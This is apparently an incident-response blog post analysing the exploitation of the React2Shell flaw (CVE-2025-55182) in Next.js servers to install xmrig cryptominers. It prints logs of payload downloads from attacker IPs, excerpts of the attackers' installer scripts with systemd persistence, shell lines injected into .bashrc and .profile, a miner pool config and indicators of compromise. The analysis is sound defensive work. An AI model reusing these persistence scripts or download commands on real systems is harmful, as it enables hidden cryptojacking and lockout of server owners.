vulnerability-analysis
incident-response
cryptojacking

The Anatomy of a React2Shell Compromise

Analysis of React Server Components RCE vulnerability (CVE-2025-55182) exploitation leading to cryptojacking campaigns targeting Next.JS applications

11 min read
TLPBLACK TeamTLPBLACK Team

React2Shell POC Seeds Global Exploitation

On December 3rd, React issued a Security Advisory CVE-2025-55182 stating that an RCE vulnerability was present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following packages:

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

At the same time, Next.JS, a popular Javascript framework, released a Security Advisory for CVE-2025-66478, rated 10.0 CVSS, because Next.JS uses these packages. The affected versions of Next.JS were:

  • 15.x
  • 16.x
  • also affecting experimental canary releases starting with 14.3.0-canary.77.

For more information, please check the security advisories from Github for respective projects:

By Friday, December 4th, malicious scanners were already seeking vulnerable servers for exploit opportunities of React.js, a widely used open-source front-end JavaScript library for building user interfaces. It is a popular library maintained by Meta. A patch was pushed for the library on Dec 3rd by the React team to address CVE-2025-55182, "a security vulnerability in React that allows unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints". The original PoC can be found here and more info about this vulnerability can be found here.

Unfortunately, some of this scanning led to exploited sites, and we responded to several of these incidents. Essentially, we witnessed and disrupted some hastily packaged and deployed cryptojacking components. It is notable that recent mass exploitation attempts on misconfigured web hosting environments have also led to cryptojacking activity, as reported by Wiz in July 2025. In one particular case, simplified Chinese is used throughout their custom scripts, and several of the staging servers are hosted on Alibaba networks. That and some privately shared data leaves us with medium confidence that some of the participants are Chinese-speaking. Several artifacts suggest these attackers were "AI-assisted", and they used ChatGPT for their script development as well.

Reportedly, other vendors have seen CN-APT exploitation efforts from groups like DiceyF/EarthBerberoka / Jackpot Panda, but this activity is targeted.

Analysis of a real compromised server

The attack starts by checking the web server for vulnerable React Server Components. Since it's a POST request, the payload is not logged in default web server configurations.

The first probes arrive at the targeted server 05/Dec/2025:06:51:34 UTC:

46.36.37.85 - - [05/Dec/2025:06:51:34 +0000] "POST / HTTP/1.1" 301 178 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
46.36.37.85 - - [05/Dec/2025:06:51:37 +0000] "POST / HTTP/1.1" 301 178 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
46.36.37.85 - - [05/Dec/2025:06:51:59 +0000] "POST / HTTP/1.1" 499 0 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"

We checked logs for the vulnerable Next.JS application, and observed reconnaissance records and RCE command records:

=> Initial recon
⨯ [Error: uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo)
] {
digest: '1283222767'
}

=> First payload
--2025-12-05 06:51:54-- http://46.36.37.85:12000/sex.sh
Connecting to 46.36.37.85:12000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1621 (1.6K) [application/x-sh]
Saving to: 'sex.sh'
[...]
2025-12-05 06:51:55 (246 MB/s) - 'sex.sh' saved [1621/1621]

⨯ [Error: Connection closed.] { digest: '1943553112' }

=> Initial recon, again
⨯ [Error: uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo)
] {
digest: '1283222767'
}

⨯ [TypeError: Cannot read properties of undefined (reading 'aa')] {
digest: '434389542'
}

--2025-12-05 10:58:18-- http://43.247.134.215:8998/nginx3
Connecting to 43.247.134.215:8998... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10466776 (10.0M) [application/octet-stream]
Saving to: '/tmp/nginx3'
[...]

Timeline of the attack

DateLocation / CommandFiles SizeSHA256Compile Time / Web Server (UTC)
2025-12-05 06:51:34id command => uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo)
2025-12-05 06:51:37hxxp://46.36.37.85:12000/sex.sh1 KB5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9Dec 5 06:51
2025-12-05 06:51:59id command => uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo)
2025-12-05 10:58:18hxxp://43.247.134.215:8998/nginx310MB69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03Dec 5 08:31
2025-12-05 11:35:01hxxp://39.97.229.220:8006/httd - Error from C2: Read error at byte 146248/5435392 (Connection timed out). Retrying.
2025-12-05 11:52:09hxxp://39.97.229.220:8006/httd - Error from C2: Read error at byte 146248/5435392 (Connection timed out). Retrying.
2025-12-05 12:07:35hxxp://39.97.229.220:8006/httd1 MB9959ee0d49894fe9e3d753bf8847f522bafec4f7c644ead5648d18e9d32de252Dec 5 12:13
2025-12-05 16:46:28hxxp://47.84.113.198:8000/tmp5 MBe76f54b7b98ba3a08f39392e6886a9cb3e97d57b8a076e6b948968d0be392ed8Dec 5 16:22
2025-12-05 19:21:29hxxp://43.247.134.215:8998/nginx3 - Re-infection attempt
2025-12-05 22:40:17hxxp://xpertclient.net:3000/sex.sh5 KBba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808bDec 5 22:40

Operator access after initial compromise

The first file (5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9) downloads the xmrig binary from github, checks if root privileges (uid 0) are present for the current user, and sets up a systemd unit with the name system-update-service. This service will execute xmrig with the attacker-provided arguments. If it can't setup a systemd unit to start xmrig, it falls back to the following logic:

# Attempt systemd setup

[...]

INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
    echo "Root privileges detected. Attempting systemd setup..."

    SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"

    cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root

[Install]
WantedBy=multi-user.target
EOF

    systemctl daemon-reload
    systemctl enable "$SERVICE_NAME"
    systemctl start "$SERVICE_NAME"

    if systemctl is-active --quiet "$SERVICE_NAME"; then
        echo "Service started via systemd."
        INSTALLED_SYSTEMD=1
    fi
fi

# Fallback to nohup
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
    echo "Starting with nohup..."
    nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi

The 69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03 file is an xmrig miner, first seen ITW on 2025-12-05. The 9959ee0d49894fe9e3d753bf8847f522bafec4f7c644ead5648d18e9d32de252 sample is fresh, not on VT, and was downloaded on the infected VM on 2025-12-05 at 12:13.

-rw-r--r-- 1 REDACTED REDACTED 1304648 Dec 5 12:13 httd

On 2025-12-05 22:40:17, while trying to reinfect the machine, attackers downloaded a different file with the same name sex.sh (hash ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b), but with improvements:

It was using different paths, depending on whether the script was running under uid 0 or not:

# Determine binary path based on privileges
if [ "$(id -u)" -eq 0 ]; then
    INSTALL_DIR="/usr/share/updater"
    CONFIG_FILE="$INSTALL_DIR/miner.conf"
else
    INSTALL_DIR="$(pwd)"
    CONFIG_FILE="$(pwd)/miner.conf"
fi

BINARY_PATH="$INSTALL_DIR/$EXTRACT_DIR/xmrig"

The script also checks if the miner is already deployed on the target system, and loads the current config instead of generating a fresh one:

# Check if already installed
ALREADY_INSTALLED=0
if [ -f "$BINARY_PATH" ]; then
    ALREADY_INSTALLED=1
    echo "[*] Installation detected. Loading existing configuration..."
    load_config
fi

# Download and setup if not already present
if [ ! -f "$BINARY_PATH" ]; then
    echo "[*] Downloading xmrig..."

    # Extract in temp location first
    TEMP_DIR=$(mktemp -d)
    cd "$TEMP_DIR"

    curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
    echo "[*] Extracting archive..."
    tar xvzf "$TAR_FILE"

It also attempts to inject itself into systemd for new installations only:

# Attempt systemd setup (for new installations)
if [ $ALREADY_INSTALLED -eq 0 ]; then
    INSTALLED_SYSTEMD=0
    if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
        echo "[*] Root privileges detected. Attempting systemd setup..."

All these changes make us believe that in the span of 18 hours, between the first download of the file sex.sh and the 2nd attempt to fetch the same filename, the attackers improved their tools kit in order to more reliably process same-host reinfections.

First fileSecond file
Hash5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b
Date2025-12-05 06:51 UTC2025-12-05 22:40 UTC
Size1621 Bytes5014 Bytes

Further analysis shows that both of these files have been created using LLMs, like ChatGPT or Claude, due to the way comments are placed, as well as the code quality.

So far, we believe this threat actor was leveraging these files in order to install cryptominers on infected servers. And we see CobaltStrike beacons as a part of their toolkit as well.

Other cluster of files

The following files have been forensically collected from the same infected VM, but probably they belong to other threat actor groups. As they increasingly scan for vulnerable applications, we're seeing a growing variety of malicious payloads deployed such as:

  • solrc - 67aea5b0ffceacaa932c47b3cddd527d393856fa900a19a225afe9203ce005e0 - 2,263 KBSaved on Dec 6 15:54 UTC - 64 bit ELF executable, first seen on VT 2025-12-06 15:03:55 UTC - 2/62 detections
  • solrz - 466a46ed4f80ef12d2e2ba1c8014315a4aa33483135386af57bec5d6a57a8359 - 2,263 KB - Saved on Dec 7 14:22 UTC - 64 bit ELF executable, first seen on VT 2025-12-07 22:19:12 UTC - UPX packed - 2/62 detections
  • /tmp/fghgf - 0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 - 8,334 KB - Saved on Dec 7 14:42 UTC - 64 bit ELF executable - xmrig miner
  • /tmp/.system - 609e5af9394e68d96a8a906a893d0544e39f4b88e15f3b4131494c1f1b278b6f - 5,790 KB - Saved on Dec 6 16:28 - 64 bit ELF executable, not seen on VT

Other locations where sample 69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03 was saved:

/home/REDACTED/.cache/systemd/.systemd-resolve
/home/REDACTED/.local/share/systemd/.polkitd
/home/REDACTED/.local/share/gvfs-metadata/.accounts-daemon
/home/REDACTED/.local/share/gvfs-metadata/.dbus-daemon
/home/REDACTED/.local/share/gvfs-metadata/.snapd
/home/REDACTED/.local/share/systemd/.systemd-update

Maintaining persistence

Systemd Units

Attackers set up multiple systemd instances in order to maintain persistence, using folder /home/REDACTED/.config/systemd/user/ as well as folder /home/REDACTED/.config/autostart/

root@REDACTED:/home/REDACTED/.config/systemd/user# ls -1
17192e6442d4.service
3c7a79304943.service
55e90473a36e.service
88da066ffb3c.service
default.target.wants
s.service

The file contents for the first 4 files are identical:

#cat 17192e6442d4.service
[Unit]
Description=User Application Service
After=network.target

[Service]
Type=simple
ExecStart=/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node
/home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js
Restart=always
RestartSec=30
Environment=DISPLAY=:0

[Install]
WantedBy=default.target

While s.service contains:

# cat s.service
[Unit]
After=network.target

[Service]
ExecStart=/home/REDACTED/.cache/.sys/xmrig -c /home/REDACTED/.cache/.sys/c.json
Restart=always
RestartSec=60

[Install]
WantedBy=default.target

Shell Injection

In order to keep running the xmrig binary, attackers added the following commands at the end of .bashrc and .profile for the currently compromised user:

cat ~/.bashrc
[...]
# System
(nohup /home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node
/home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null

(pgrep -f "/home/REDACTED/.cache/.sys/xmrig" || cd "/home/REDACTED/.cache/.sys"
&& ./xmrig -c c.json > /dev/null 2>&1 &) &
cat ~/.profile
# App
(/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node
/home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null

(pgrep -f "/home/REDACTED/.cache/.sys/xmrig" || cd "/home/REDACTED/.cache/.sys"
&& ./xmrig -c c.json > /dev/null 2>&1 &) &

This configuration meant that at every user login the miner would be started, but it also kicked out the user from their SSH session after 5 seconds, basically locking them out of their VM.

The pgrep command searches for processes running using the pattern /home/REDACTED/.cache/.sys/xmrig and if no process exists, it executes ./xmrig with the following config:

cat c.json

[...]

"pools": [
{
	"algo": null,
	"coin": null,
	"url": "pool.hashvault.pro:443",
	"user": "REDACTED",
	"pass": "REDACTED",
	"rig-id": "REDACTED",
	"nicehash": false,
	"keepalive": true,
	"enabled": true,
	"tls": true,
	"sni": false,
	"tls-fingerprint": null,
	"daemon": false,
	"socks5": null,
	"self-select": null,
	"submit-to-origin": false
}
],
[...]

The curious case of .r0qsv8h1/.394ly8v9/ folder

As discussed in the above chapter, one of the commands that is executed at every user login is

/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node
/home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js

Clearly /home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/ is the location of a hidden, attacker-controlled node installation. Initially we didn't understand why the attackers would set up their own node folder, until we checked the installed packages:

/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/npm --
prefix=/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9 list -g --depth=0
/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/lib
├── corepack@0.22.0
├── mysql2@3.15.3
├── npm@10.2.3
├── ssh2@1.17.0
└── tedious@19.1.3

tedious and mysql are Node MySQL clients, while ssh2 is a Node implementation of SSH client and server. Checking the folder .r0qsv8h1 shows us the following files:

/home/REDACTED/.local/share/.r0qsv8h1# file .*
.394ly8v9: directory
.9de6fc: ASCII text, with no line terminators
.b0rtqscrkeov: encrypted file - Possible OpenGPG private key
.fvq2lzl64e.js: ASCII text, with very long lines (65536), with no line terminators
.lauphhtqrg.js: ASCII text, with very long lines (18632), with no line terminators

The 2 obfuscated JS files have the following hashes:

dd630c880e628fde6018d2d6a276007d01de7e6c7d46e10000231f4a35cf0f9e .fvq2lzl64e.js
9674bf61fc78daf4eec4e378df3f746ddccf532de5609e278ddcd02b98c24de1 .lauphhtqrg.js

which indicates that the attackers were running a parallel SSH server in order to maintain persistence on the server.

Global Investigations

In addition to the incident activity we were able to isolate and mitigate, we investigated activity on a broader scale and have some insights into a related group's activity and operations. Through collaboration with external sources, we were able to review some privately shared logs.

This group's backend platform (C2) setup began the last week of November 2025. After confirming proper configuration and setup, the C2 was down until 2025-12-04. Their first React2Shell victim hosts were obtained early 2025-12-05, and both were from a southeastern Asian nation hosting their servers in the Amazon cloud. Within minutes, these initial victim counts quickly turned into a dozen in Europe and the US, and then only a couple hours later dozens more. While not a terribly sophisticated group, it appears that they worked opportunistically with batches of targeted servers from around the globe in planned stages. They effectively deploy year-old Linux EoP exploits to obtain root privileges when necessary.

The majority of these dozens of victim hosts are geolocated within the US, South Asia, and Europe. Some of these commercial sites are large enterprises. Often these hosts are located within cloud services of major providers.

Interesting and notable features include the use of simplified Chinese throughout the backend platform, and QA and test boxes utilized from Alibaba networks hosted in China.

IoCs

0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657
129cfbfbe4c37a970abab20202639c1481ed0674ff9420d507f6ca4f2ed7796a
466a46ed4f80ef12d2e2ba1c8014315a4aa33483135386af57bec5d6a57a8359
5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9
609e5af9394e68d96a8a906a893d0544e39f4b88e15f3b4131494c1f1b278b6f
67aea5b0ffceacaa932c47b3cddd527d393856fa900a19a225afe9203ce005e0
69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03
865d0bbf8b953ff317dd3aafde10d9fe0f95c2befd83b570c02ab802b177cda0
9674bf61fc78daf4eec4e378df3f746ddccf532de5609e278ddcd02b98c24de1
9959ee0d49894fe9e3d753bf8847f522bafec4f7c644ead5648d18e9d32de252
ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b
dd630c880e628fde6018d2d6a276007d01de7e6c7d46e10000231f4a35cf0f9e
e76f54b7b98ba3a08f39392e6886a9cb3e97d57b8a076e6b948968d0be392ed8


39.97.229[.]220
43.247.134[.]215
45.76.155[.]14
45.157.233[.]80
46.36.37[.]85
47.84.113[.]198
192.9.245[.]121
193.34.213[.]150
TLPBLACK Team

TLPBLACK Team

TLPBLACK is a team of experts with over a century of combined experience in APT research, malware analysis, and threat hunting.